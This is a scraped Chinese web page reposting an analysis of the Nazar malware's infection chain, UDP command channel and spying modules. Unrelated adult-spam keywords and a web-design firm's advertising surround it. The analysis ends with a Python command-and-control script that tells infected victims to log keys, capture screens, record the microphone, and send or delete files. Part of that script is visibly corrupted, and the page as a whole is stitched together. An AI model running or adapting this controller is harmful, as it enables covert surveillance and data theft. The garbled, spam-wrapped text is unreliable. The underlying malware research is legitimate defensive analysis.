真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

如何深度分析Nazar組件

如何深度分析Nazar 組件,針對這個問題,這篇文章詳細介紹了相對應(yīng)的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。

站在用戶的角度思考問題,與客戶深入溝通,找到工布江達網(wǎng)站設(shè)計與工布江達網(wǎng)站推廣的解決方案,憑借多年的經(jīng)驗,讓設(shè)計與互聯(lián)網(wǎng)技術(shù)結(jié)合,創(chuàng)造個性化、用戶體驗好的作品,建站類型包括:成都做網(wǎng)站、網(wǎng)站建設(shè)、外貿(mào)營銷網(wǎng)站建設(shè)、企業(yè)官網(wǎng)、英文網(wǎng)站、手機端網(wǎng)站、網(wǎng)站推廣、申請域名虛擬主機、企業(yè)郵箱。業(yè)務(wù)覆蓋工布江達地區(qū)。

6:22 AM 11/7/2012 conficker still on target

6:18 AM 11/7/2012 checking logs - we are clean

8:16 PM 7/2/2012 - BOOM!, got the callback

這些是方程組(NSA)在攻擊目標系統(tǒng)留下的記錄,后來被Shadow Brokers泄露。 最近,安全研究員透露了一個先前被錯誤識別且未知的威脅組織Nazar,下面將對Nazar組件進行深入分析。

事件背景

影子經(jīng)紀人泄漏的數(shù)據(jù)使眾多漏洞(例如EternalBlue)成為眾人關(guān)注的焦點,但其中還包含了許多更有價值的組件,這些組件顯示了Equation Group在發(fā)動攻擊之前采取的一些預(yù)防措施。    

如何深度分析Nazar 組件

例如,在泄漏文件中名為“ drv_list.txt”的文件,其中包含驅(qū)動程序名稱列表和相應(yīng)的注釋,如果在目標系統(tǒng)上找到了驅(qū)動程序,則會將信息發(fā)送給攻擊者。     

如何深度分析Nazar 組件

列表中還包含惡意驅(qū)動程序的名稱,如果找到這些惡意驅(qū)動程序,表明目標系統(tǒng)已經(jīng)被其他人破壞,然后警告攻擊者“撤回”。負責此類檢查的關(guān)鍵組件名為“Territorial Dispute”或者“TeDi”。    

如何深度分析Nazar 組件

“ TeDi”包含45個簽名,可在目標系統(tǒng)中搜索與其他威脅組織關(guān)聯(lián)的注冊表項和文件名。與安全掃描不同,攻擊者最終目的是確保自身操作不會受到干擾,其他攻擊者不會檢測到他們的工具。    

如何深度分析Nazar 組件

在某些情況下,防止自身操作不會干擾“友好”威脅組的運行,也不會同時攻擊同一目標。

如何深度分析Nazar 組件

安全研究員指出,“ TeDi”中的第37個簽名是尋找名為“ Godown.dll”的文件,它指向的就是伊朗威脅組織“Nazar”。    

如何深度分析Nazar 組件

執(zhí)行流程

Nazar在2008年左右開始活動,可能與第‘TeDi’第37個簽名相關(guān),它負責檢測Nazar工具插件“ Godown.dll”。 

如何深度分析Nazar 組件

Nazar執(zhí)行的初始二進制文件是gpUpdates.exe。 它是由“ Zip 2 Secure EXE”創(chuàng)建的自解壓文檔(SFX)。 執(zhí)行后,gpUpdates將三個文件寫入磁盤:Data.bin,info和Distribute.exe, 然后gpUpdates.exe將啟動Distribute.exe。    

Distribute.exe

首先,Distribute.exe將讀取info和Data.bin。 Data.bin是一個二進制Blob,其中包含多個PE文件。info文件非常小,其中包含一個簡單的結(jié)構(gòu),該結(jié)構(gòu)表示Data.bin中PE文件的長度。 Distribute.exe將按文件長度的順序逐個讀取Data.bin。下表顯示了Data.bin文件與info寫入長度的關(guān)系。

如何深度分析Nazar 組件

之后Distribute.exe使用regsv***將3個DLL文件寫入注冊表中。    

如何深度分析Nazar 組件

使用CreateServiceA將svchost.exe添加為名為“ EYService”的服務(wù),啟動該服務(wù)并退出。 該服務(wù)是攻擊的主要部分,協(xié)調(diào)Nazar調(diào)用模塊。

如何深度分析Nazar 組件

通信分析

服務(wù)執(zhí)行后,首先設(shè)置數(shù)據(jù)包嗅探。    

DWORD __stdcall main_thread(LPVOID lpThreadParameter)
{
  HANDLE hMgr; // edi
  HANDLE hCfg; // esi
  HANDLE hFtr; // edi

  hMgr = MgrCreate();
  MgrInitialize(hMgr);
  hCfg = MgrGetFirstAdapterCfg(hMgr);
  do
  {
    if ( !AdpCfgGetAccessibleState(hCfg) )
      break;
    hCfg = MgrGetNextAdapterCfg(hMgr, hCfg);
  }
  while ( hCfg );
  ADP_struct = AdpCreate();
  AdpSetConfig(ADP_struct, hCfg);
  if ( !AdpOpenAdapter(ADP_struct) )
  {
    AdpGetConnectStatus(ADP_struct);
    MaxPacketSize = AdpCfgGetMaxPacketSize(hCfg);
    adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0);
    AdpCfgGetMACAddress(hCfg, &mac_address, 6);
    hFtr = BpfCreate();
    BpfAddCmd(hFtr, BPF_LD_B_ABS, 23u);         //  Get Protocol field value
    BpfAddJmp(hFtr, BPF_JMP_JEQ, IPPROTO_UDP, 0, 1);// Protocol == UDP
    BpfAddCmd(hFtr, BPF_RET, 0xFFFFFFFF);
    BpfAddCmd(hFtr, BPF_RET, 0);
    AdpSetUserFilter(ADP_struct, hFtr);
    AdpSetUserFilterActive(ADP_struct, 1);
    AdpSetOnPacketRecv(ADP_struct, on_packet_recv_handler, 0);
    AdpSetMacFilter(ADP_struct, 2);
    while ( 1 )
    {
      if ( stop_and_ping == 1 )
      {
        adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0);
        connection_method(2);
        stop_and_ping = 0;
      }
      Sleep(1000u);
    }
  }
  return 0;
}

每當UDP數(shù)據(jù)包到達時,無論是否存在響應(yīng),都會記錄其源IP以用于下一個響應(yīng)。 然后檢查數(shù)據(jù)包的目標端口,如果是1234,則將數(shù)據(jù)將轉(zhuǎn)發(fā)到命令處理器。    

int __cdecl commandMethodsWrapper(udp_t *udp_packet, int zero, char *src_ip, int ip_id)
{
  int length; // edi

  length = HIBYTE(udp_packet->length) - 8;
  ntohs(udp_packet->src_port);
  if ( ntohs(udp_packet->dst_port) != 1234 )
    return 0;
  commandDispatcher(&udp_packet[1], src_ip, ip_id, length);
  return 1;
}

數(shù)據(jù)響應(yīng)

每個響應(yīng)都會從頭開始構(gòu)建數(shù)據(jù)包,響應(yīng)分為3種類型:

1、發(fā)送ACK:目標端口4000,有效負載101; 0000    

2、發(fā)送計算機信息:目標端口4000,有效負載100; <計算機名稱>; <操作系統(tǒng)名稱>

3、發(fā)送文件:通過UDP發(fā)送數(shù)據(jù),然后是帶有的數(shù)據(jù)包。如果服務(wù)器將標識為0x3456的數(shù)據(jù)包發(fā)送到目標端口1234,惡意軟件將使用目標端口0x5634發(fā)送響應(yīng)。

如何深度分析Nazar 組件

支持命令

下表為命令支持列表:

如何深度分析Nazar 組件

Dll分析

Godown.dll

Godown.dll是SIG37重點關(guān)注的DLL,它是一個小型DLL,只有一個關(guān)閉計算機的功能。    

Filesystem.dll

Filesystem.dll是由攻擊者自己編寫的模塊。該模塊的目的是枚舉受感染系統(tǒng)上的驅(qū)動器,文件夾和文件,并將結(jié)果寫入Drives.txt和Files.txt。

目前發(fā)現(xiàn)兩個版本均包含PDB路徑,其中提到了波斯語為Khzer(或???)的文件夾:    

C:\\khzer\\DLLs\\DLL's Source\\Filesystem\\Debug\\Filesystem.pdb

D:\\Khzer\\Client\\DLL's Source\\Filesystem\\Debug\\Filesystem.pdb

兩條路徑之間存在一些差異,表明該模塊的兩個版本不是在同一環(huán)境中編譯的。    

如何深度分析Nazar 組件    

hodll.dll

hodll.dll模塊負責鍵盤記錄,通過設(shè)置鉤子來完成。該代碼來自開源代碼庫,某種程度上像從互聯(lián)網(wǎng)上復(fù)制了多個項目的代碼,最終拼裝在一起。    

ViewScreen.dll

該DLL基于名為“ BMGLib”的開源項目,用于獲取受害者計算機的屏幕截圖。     

附錄

IOCs

如何深度分析Nazar 組件

Python Server

from scapy.all import *
import struct
import socket
import hexdump
import argparse
DST_PORT = 1234
# 4000 is the usual port without sending files, but we use it for everything, because why not?
SERVER_PORT = 4000
# We want to make sure the ID has the little endian of it
ID = struct.unpack('>H',struct.pack('= 4
            and payload[:3] == b'---'
            and payload[4] >= ord('0')
            and payload[4] <= ord('9')):
            should_loop = False
        started = True
    hexdump.hexdump(total_payload)
MENU = """Welcome to NAZAR. Please choose:
          999 - Get a ping from the victim.
          555 - Get information on the victim's machine.
          311 - Start keylogging (312 to disable).
          139 - Shutdown victim's machine.
          189 - Screenshot (313 to disable).
          119 - Record audio from Microphone (315 to disable).
          199 - List drives.
          200 - List recursivley from directory*.
          201 - Send a file*.
          209 - Remove file*.
          599 - List devices.
* (append a path, use double-backslashes)
quit to Quit,
help for this menu.
            """
def get_message():
    while True:
        curr_message = input('> ').strip()
        if 'quit' in curr_message:
            return None
        if 'help' in curr_message:
            print(MENU)
        else:
            return curr_message
def get_sock():
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    server_address = '0.0.0.0'
    server = (server_address, SERVER_PORT)
    sock.bind(server)
    return sock     
def main(ip_addr):
    sock = get_sock()
    
    print(MENU)
    multi_packets = ["200","201", "119", "189", "311", "199", "599"]
    single_packets = ["999", "555"]
    all_commands = single_packets + multi_packets
    while True:
        
        curr_message = get_message()
        if not curr_message:
            break
        
        # Send message using scapy
        # Make sure the IP identification field is little endian of the port.
        sr1(
            IP(dst=ip_addr, id=ID)/
            UDP(sport=SERVER_PORT,dport=1234)/
            Raw(load=curr_message),
            verbose=0
        )
        command = curr_message[:3]
        if command not in all_commands:
            continue
        should_loop = command in multi_packets
        get_response(sock, should_loop)
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="victim's IP")
    parser.add_argument('ip')
    args = parser.parse_args()
    main(args.ip)

關(guān)于如何深度分析Nazar 組件問題的解答就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道了解更多相關(guān)知識。


網(wǎng)站題目:如何深度分析Nazar組件
鏈接分享:http://weahome.cn/article/gscgic.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部